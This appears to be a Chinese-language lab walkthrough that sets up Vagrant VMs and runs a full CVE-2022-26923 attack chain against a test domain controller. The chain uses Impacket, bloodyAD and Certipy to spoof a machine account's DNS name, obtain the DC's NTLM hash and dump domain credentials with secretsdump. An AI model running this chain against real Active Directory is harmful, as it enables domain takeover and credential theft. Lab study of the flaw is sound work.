CVE-2022-26923 是 Active Directory 证书服务 (AD CS) 中的一个漏洞,攻击者可利用该漏洞滥用基于证书的身份验证来提升权限。本指南概述了使用 Impacket 和 Certipy 利用此漏洞的步骤。
| 虚拟机 | 用户名 | 密码 |
|---|---|---|
| Windows Server | Administrator | !@windowsadmintest101 |
| Windows Server | testuser | $Vulnerable139 |
| Kali-Linux VM | vagrant | vagrant |
首先,克隆包含所需文件的仓库:
git clone https://github.com/rayngnpc/CVE-2022-26923-rayng.git
cd CVE-2022-26923-rayng
该仓库包含两个文件夹,每个文件夹都有一个用于配置虚拟机的 Vagrantfile。在继续之前,你必须在宿主机上安装 Vagrant。
从 此处 下载并安装 Vagrant。 或者使用 PowerShell 安装:
choco install vagrant
sudo apt update && sudo apt install vagrant -y
进入 WindowsServer2022 目录:
cd WindowsServer2022
vagrant up
这将下载并在 VirtualBox 中设置 Windows Server 2022 虚拟机。
进入 Kali-LinuxVM 目录:
cd Kali-LinuxVM
vagrant up
由于该漏洞利用需要 NAT 网络,请按如下方式配置 VirtualBox:
在运行以下命令之前,请确保 VBoxManage 已添加到你的环境变量中。如果没有,请使用其完整路径执行该命令:
VBoxManage natnetwork add --netname NatNet1 --network "10.0.2.0/24" --enable
如果系统无法识别 VBoxManage,请使用:
"C:\Program Files\Oracle\VirtualBox\VBoxManage.exe" natnetwork add --netname NatNet1 --network "10.0.2.0/24" --enable
VBoxManage natnetwork add --netname NatNet1 --network "10.0.2.0/24" --enable
请务必在 VirtualBox 中检查两台虚拟机,确保它们已分配到网络适配器 NatNetwork - NatNet1。
在继续之前,请确保 Windows Server 2022 和 Kali Linux VM 均已开启。
进入 Kali Linux 虚拟机以开始攻击。
更新你的 /etc/hosts 文件,以映射域控制器的 IP:
sudo nano /etc/hosts
添加以下条目:
10.0.2.121 SERVER2022.pchau.domain.local SERVER2022 pchau-SERVER2022-CA pchau.domain.local
保存并退出。
进入 CVE-26923 目录并激活 Python 虚拟环境:
cd ~/CVE-26923
source ~/CVE-26923/rayng/bin/activate
使用 Impacket 的 addcomputer 工具:
impacket-addcomputer -computer-name 'PCTEST1' -computer-pass 'testuser' -dc-host 10.0.2.121 -domain-netbios pchau.domain.local pchau.domain.local/testuser:'$Vulnerable139'
ssh [email protected]
Get-ADComputer PCTEST1 -properties dnshostname,serviceprincipalname
Set-ADComputer PCTEST1 -DnsHostName SERVER2022.pchau.domain.local
Get-ADComputer PCTEST1 -properties dnshostname,serviceprincipalname
查看域中的计算机:
impacket-GetADComputers pchau.domain.local/testuser:'$Vulnerable139' -dc-ip 10.0.2.121
进入 bloodyAD 目录并使用 bloodyAD.py 将 PCTEST1 添加到域中:
cd ~/CVE-26923/bloodyAD/
python3 bloodyAD.py -d pchau.domain.local -u testuser -p '$Vulnerable139' --host 10.0.2.121 set object PCTEST1$ dNSHostName -v 'SERVER2022.pchau.domain.local'
验证 PCTEST1 是否已分配到域中:
impacket-GetADComputers pchau.domain.local/testuser:'$Vulnerable139' -dc-ip 10.0.2.121
使用 Certipy 查找存在漏洞的证书:
certipy find -dc-ip 10.0.2.121 -username 'PCTEST1$' -password 'testuser'
使用 Certipy 请求计算机证书:
certipy req -dc-ip 10.0.2.121 -username 'PCTEST1$' -password 'testuser' -template Machine -ca pchau-SERVER2022-CA
使用获取到的证书进行身份验证:
certipy auth -pfx server2022.pfx
运行 certipy auth 命令后,将显示两个哈希。右侧的哈希将用于 NTLM 身份验证。
示例哈希输出:
aad3b435b51404eeaad3b435b51404ee:69079fd4946af567d682d61e121f29e7
使用提取的 NTLM 哈希来转储凭据:
impacket-secretsdump '[email protected]' -hashes :69079fd4946af567d682d61e121f29e7
至此,利用 CVE-2022-26923 的完整攻击链已完成。